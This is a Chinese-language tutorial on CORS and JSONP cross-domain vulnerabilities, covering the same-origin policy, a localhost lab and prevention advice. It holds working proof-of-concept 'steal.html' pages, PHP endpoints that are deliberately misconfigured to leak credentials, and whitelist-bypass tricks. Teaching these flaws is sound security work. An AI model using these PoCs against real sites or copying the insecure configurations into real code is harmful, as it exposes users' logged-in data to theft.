CORS和JSONP跨域漏洞

文章目录

    • 0x00 同源策略
  • CORS跨域漏洞
    • 0x01 CORS跨域资源共享
    • 0x02 CORS漏洞攻击流程
    • 0x03 漏洞利用技巧
    • 0x04 其他利用方式
    • 0x05 预防CORS跨域漏洞
  • JSONP跨域漏洞
    • 0x01 JSONP介绍
    • 0x02 JSONP漏洞攻击流程
    • 0x03 JSONP劫持
    • 0x04 JSONP劫持挖掘与防御
  • JSONP与CORS的优缺点


0x00 同源策略

同源策略(Same Origin Policy):该策略是浏览器的一个安全基石,如果没有同源策略,那么,你打开了一个合法网站,又打开了一个恶意网站。恶意网站的脚本能够随意的操作合法网站的任何可操作资源,没有任何限制。(防止内部资源被外部页面脚本读取或篡改)

浏览器的同源策略规定: 不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。那么何为同源呢,即两个站点需要满足同协议同域名同端口这三个条件。

SOP是一个很好的策略,但是随着Web应用的发展,网站由于自身业务的需求,需要实现一些跨域的功能,能够让不同域的页面之间能够相互访问各自页面的内容。


CORS跨域漏洞

0x01 CORS跨域资源共享

CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。

CORS规范规定了在Web服务器和浏览器之间交换的标头内容,该标头内容限制了源域之外的域请求web资源。CORS规范标识了协议头中Access-Control-Allow-Origin最重要的一组。当网站请求跨域资源时,服务器将返回此标头,并由浏览器添加标头Origin

跨域访问的一些场景:

  1. 比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
  2. 程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。
  3. 电商网站想通过用户浏览器加载第三方快递网站的物流信息。
  4. 子站域名希望调用主站域名的用户资料接口,并将数据显示出来。

CORS漏洞主要是由于配置错误而引起的。

例如下面的来自站点http://example.com的网页应用想要访问 http://bar.com 的资源:
Requests

GET /resources/public-data/ HTTP/1.1
Host: bar.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://example.com/examples/access-control/simpleXSInvocation.html
Origin: http://example.com

第 1~9 行是请求首部。在第10行的请求头 Origin 表明该请求来源于 http://example.com。

Response

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2020 00:23:53 GMT
Server: Apache/2.0.61 
Access-Control-Allow-Origin: *
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml

第 1~8 行是来自于 http://bar.com 的服务端响应。响应中携带了响应首部字段 Access-Control-Allow-Origin(第 14 行)。使用 Origin 和 Access-Control-Allow-Origin 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://example.com 的访问,该首部字段的内容如下:
Access-Control-Allow-Origin: http://example.com
如果跨域请求可以包含cookie的话,在服务器响应里应该有这一字段:
Access-Control-Allow-Credentials: true
这样的话攻击者就可以利用这个漏洞来窃取已经在这个网站上登录了的用户的信息(利用cookie)


0x02 CORS漏洞攻击流程

由于是本地复现,先修改hosts文件,加上:

127.0.0.1 www.vuln.com 
127.0.0.1 www.evil.com

访问http://www.vuln.com就相当于服务端。服务端新建secrect.php。

<!-- www.vuln.com/secrect.php -->
<?php
// 假设此页面需要登录后才能访问
setcookie("SESSIONid","THISISSESSID20180802",time()+3600,"","",0);  // 设置普通Cookie
setcookie("test_http","THISISSESSIDhttponly20180802",time()+3600,"","",0,1);// 设置HttpOnly Cookie

echo "username: admin; password: admin";
?>

如果访问http://www.vuln.com/secrect.php,会正常输出username: admin; password: admin
CORS和JSONP跨域漏洞_第1张图片
接着在 hacker 端构造 steal.html:

<!-- www.evil.com/steal.html  -->
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
    var xhr = new XMLHttpRequest();

    xhr.onreadystatechange=function()
    {
        if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
        {
            var datas=xhr.responseText;
            alert(datas);
        }
    }
    //request vuln page
    xhr.open("GET","http://www.vuln.com/secrect.php","true") 
    xhr.withCredentials = true;
    xhr.send();
}
loadXMLDoc();
</script>
</html>

注:如果 XMLHttpRequest 请求设置了withCredentials 属性那么服务器不得设置 Access-Control-Allow-Origin的值为* ,否则浏览器将会抛出The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' 错误。

然后我们打开http://www.evil.com/steal.html,html代码的意思是通过XMLHttpRequest访问http://www.vuln.com/secrect.php,然后将获取到的内容 alert 出来。

但是根据同源策略,这是不允许的(原因:CORS头缺少Access-Control-Allow-Origin):
由于请求是从www.evil.com发出的,通过AJAX请求www.vuln.com的资源,所以,浏览器自动为我们加上了Origin这个字段。
CORS和JSONP跨域漏洞_第2张图片
在这里插入图片描述

注:同源策略并不限制请求的发起和响应,只是浏览器拒绝了 js 对响应资源的操作。

修改 secrect.php,利用CORS使其跨域访问:

<!-- www.vuln.com/secrect.php -->
<?php
// 假设此页面需要登录后才能访问
setcookie("SESSIONid","THISISSESSID20180802",time()+3600,"","",0);  // 设置普通Cookie
setcookie("test_http","THISISSESSIDhttponly20180802",time()+3600,"","",0,1);// 设置HttpOnly Cookie

header("Access-Control-Allow-Origin:http://www.evil.com:81");
header("Access-Control-Allow-Credentials: true");
echo "username: admin; password: admin";
?>

再次访问http://www.evil.com/steal.html,发现可以正常弹窗了,并且获得了cookie,成功实现了跨域资源的请求:
CORS和JSONP跨域漏洞_第3张图片
其认证过程大致如下

  1. 网站A对浏览器说:你去帮我找服务端B要个苹果
  2. 浏览器对服务端B说: 我要个苹果
  3. 服务端B对浏览器说: 呐,这是给你的苹果,另外给你个名单,只许这些人吃。
  4. 浏览器拿到苹果,对比了一下名单,发现A在名单里,便把苹果给A吃了

0x03 漏洞利用技巧

CORS本质上就是使用各种头信息让浏览器与服务器之间进行交流,上面提到的名单就是用下面的http头字段来控制的:
CORS和JSONP跨域漏洞_第4张图片
当进行测试时,看服务器响应头字段里可以关注这几个点:

  1. 最好利用的配置:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
  1. 可能存在可利用的配置:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
  1. 很好的条件但无法利用:
    下面这组配置组合虽然看起来很完美但是CORS机制已经默认自动禁止了这种组合,算是CORS的最后一道防线
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
  1. 单一的情况
Access-Control-Allow-Origin*

burp 中筛选:
CORS和JSONP跨域漏洞_第5张图片
然后访问有认为有漏洞的网站,再在history中筛选带有cors头部的值。

补充:
如果服务器允许跨域,需要在返回的响应头中携带下面信息:

  1. Access-Control-Allow-Origin:可接受的域,是一个具体域名或者*,代表任意
  2. Access-Control-Allow-Credentials:是否允许携带cookie,默认情况下,cors不会携带cookie,除非这个值是true

如果跨域请求要想操作cookie,需要满足3个条件:

  1. 服务的响应头中需要携带Access-Control-Allow-Credentials并且为true
  2. 浏览器发起ajax需要指定withCredentialstrue
  3. 响应头中的Access-Control-Allow-Origin一定不能为*,必须是指定的域名

不符合简单请求的条件,会被浏览器判定为特殊请求(如PUT),特殊请求会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求(preflight):

  1. 浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的 XMLHttpRequest 请求,否则就报错。
  2. 与简单请求相比,除了 Origin 以外,多了两个头:
    Access-Control-Request-Method:接下来会用到的请求方式,比如PUT
    Access-Control-Request-Headers:会额外用到的头信息
  3. 服务的收到预检请求,如果许可跨域,会发出响应,额外多处3个头:
    Access-Control-Allow-Methods:允许访问的方式
    Access-Control-Allow-Headers:允许携带的头
    Access-Control-Max-Age:本次许可的有效时长,单位是秒,过期之前的ajax请求就无需再次进行预检了

0x04 其他利用方式

  1. 解析Origin头出错:
    一些支持从多个来源进行访问的应用程序通过使用允许的来源白名单来实现。收到CORS请求后,会将提供的来源与白名单进行比较。

    但在检测来源是否存在于白名单时经常可能出现问题,一些网站可能会允许其所有的子域(包括尚未存在未来可能存在的子域)来进行访问,或者允许其他网站的域以及其子域来访问请求。这些请求一般都通过通配符或者正则表达式来完成,但是如果这其中出现错误可能就会导致给予其他未被授权的域访问权限。例如:

    例如,假设一个应用程序授予对以下列结尾的所有域的访问权限:examplecom
    攻击者可能可以通过注册域来获得访问权限:exeexample.com
    或者,假设应用程序授予对所有以example.com开头的域访问权限,攻击者就可以使用该域获得访问权限:example.com.evil-user.net

  2. CORS结合XSS:
    有时候CORS配置了信任自身的任意子域,那么如果一个子域存在XSS漏洞就可以通过这个漏洞去读取其他子域的资源,类似的场景还有比如HTTPS域信任HTTP域等。

  3. 白名单中的null值:
    CORS协议复用了Origin头,但在CORS标准中同样缺乏对跨域请求Origin中null明确的定义和限制。有些开发者在网站上配置信任 null,用于与本地file页面共享数据

    在这种情况下,攻击者可以使用各种技巧来生成跨域请求,该请求构造的Origin为null值。这将满足白名单的要求,从而导致跨域访问。

    这就意味着任何配置有Access-Control-Allow-Origin: null和Access-Control-Allow-Credentials:true的网站等同于没有浏览器SOP的保护,都可以被其他任意域以这种方式读取内容。

  4. 自动化扫描:
    github上提供了一个关于扫描CORS配置漏洞的脚本:https://github.com/chenjj/CORScanner

将检测的域名写在一个 txt 里,然后使用 -i 参数去进行批量扫描。


0x05 预防CORS跨域漏洞

  1. 正确配置跨域请求
    如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。

  2. 只允许信任的网站
    看起来似乎很明显,但是Access-Control-Allow-Origin中指定的来源只能是受信任的站点。特别是,使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用,应该避免。

  3. 严格校验Origin头,避免出现权限泄露

  4. HTTPS网站不要信任HTTP域


JSONP跨域漏洞

0x01 JSONP介绍

JSONP全称是JSON with Padding ,是基于JSON格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 元素标签没有跨域限制。

JSONP原理就是动态插入带有跨域url的script标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。

比如通过 script 访问 http://www.vuln.com/attack.html?jsonpcallback=callback, 执行完script后,会调用callback函数,参数就是获取到的数据。


0x02 JSONP漏洞攻击流程

访问http://www.vuln.com就相当于服务端。服务端新建 callback.php。

<!-- www.vuln.com/callback.php -->
<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json数据
    $json_data = '{"username":"admin","password":"admin888"}';
    //输出jsonp格式的数据
    echo $callback . "(" . $json_data . ")";
?>

本地正常访问:
CORS和JSONP跨域漏洞_第6张图片
接着在 hacker 端构造 steal.html:


<html>
<head>
<title>testtitle>
<meta charset="utf-8">
<script type="text/javascript">
function JSONP(obj){
    alert('user: '+obj["username"]+' pwd: '+obj["password"]);
}
script>
head>
<body>
<script type="text/javascript" src="http://www.vuln.com/callback.php?callback=JSONP">script>
body>
html>

我们访问steal.html,页面会执行 script,请求 http://www.vuln.com/callback.php?callback=JSONP,然后将请求的内容作为参数,执行JSONP函数,JSONP函数将请求的内容alert出来。最终的结果如下
CORS和JSONP跨域漏洞_第7张图片
这样我们就实现了通过js操作跨域请求到的资源,绕过了同源策略。

但是伴随着业务的发展总会出现安全问题,JSONP使用不当也会造成很多安全问题。


0x03 JSONP劫持

对于JSONP传输数据,正常的业务是用户在B域名下请求A域名下的数据,然后进行进一步操作。

但是对 A 域名的请求一般都需要身份验证,攻击者可以自己构造一个页面,然后诱惑用户去点击,在这个页面里,我们去请求 A 域名资源,然后回调函数将请求到的资源发回到 hacker 服务器上。

有点类似于CSRF漏洞(图来自https://www.k0rz3n.com/2019/03/07/JSONP):
CORS和JSONP跨域漏洞_第8张图片

攻击者可以构造一个html,诱骗用户点击,然后以用户身份访问目标网站拿到敏感数据,执行函数将数据发送给攻击者的服务器,最后重定向。整个过程受害者是完全不可见的。

JSONP 劫持漏洞的危害: JSONP是一种敏感信息泄露的漏洞,攻击者可以精心设计一个网站诱骗用户点击,如果受害者点击了链接,则攻击者便可以获取受害者的个人的信息,如邮箱、姓名、手机等信息,这些信息可以被违法犯罪分子用作“精准诈骗”。

JSONP绕过CSRF防护token:https://xz.aliyun.com/t/5143


0x04 JSONP劫持挖掘与防御

对于漏洞挖掘,我们首先需要尽可能的找到所有的接口,尤其是返回数据格式是JSONP的接口。(可以在数据包中检索关键词callback json jsonp email等,也可以加上callback参数,观察返回值是否变化)。

找到接口之后,还需要返回值包含敏感信息,并且能被不同的域的页面去请求获取(也就是是否存在refer限制,实际上,如果接口存在refer的限制,也是有可能被绕过的)
常见绕过方法:空referer、referer过滤不严谨

防御:

  1. 限制来源refer;
  2. 按照JSON格式标准输出(设置Content-Type : application/json; charset=utf-8),预防?callback=形式的xss;
  3. 过滤 callback 函数名以及 JSON 数据输出,预防 xss。

JSONP与CORS的优缺点

JSONP的原理:动态创建script标签

  1. JSONP发送的不是 Ajax 请求
  2. 不支持 Post 请求;

CORS:跨域资源共享.本质,就是使用 XHR 对象,发送Ajax请求,来进行跨域的资源共享

  1. CORS 发送的是真正的 Ajax 请求
  2. CORS 支持 Ajax 的跨域
  3. 如果要启用 CORS 跨域资源共享,关键在于服务器端,只要服务器支持 CORS跨域资源共享,则浏览器肯定能够正常访问 这种 CORS 接口;而且,客户端在 发送 Ajax 的时候,就像发送普通 AJax 一样,没有任何代码上的变化

优缺点:

  1. JSONP的主要优势在于对浏览器的支持较好;虽然目前主流浏览器支持CORS,但IE10以下不支持CORS。
  2. JSONP只能用于获取资源(即只读,类似于GET请求);CORS支持所有类型的HTTP请求,功能完善(但大部分情况下GET已经能满足需求了)。
  3. JSONP的错误处理机制并不完善,我们没办法进行错误处理;而CORS可以通过onerror事件监听错误,并且浏览器控制台会看到报错信息,利于排查。
  4. JSONP只会发一次请求;而对于复杂请求,CORS会发两次请求。
  5. CORS无疑更为先进,方便和可靠。

应用场景:

  1. 如果你需要兼容IE低版本浏览器,使用JSONP。
  2. 如果你需要对服务端资源进行操作,使用CORS。

参考链接:
https://blog.csdn.net/weixin_45116657/article/details/102972034(CORS跨域漏洞的学习)
https://zhuanlan.zhihu.com/p/83099266(CORS介绍及其漏洞检测)
https://www.cnblogs.com/Xy–1/p/13069099.html(CORS跨域漏洞学习)
https://www.jianshu.com/p/98d4bc7565b2(使用CORS解决跨域问题)
https://saucer-man.com/information_security/309.html(jsonp介绍及其安全风险)
https://blog.csdn.net/qq646040754/article/details/80510913(JSONP与CORS的各自优缺点)

你可能感兴趣的:(jsonp,sop,ajax跨域问题)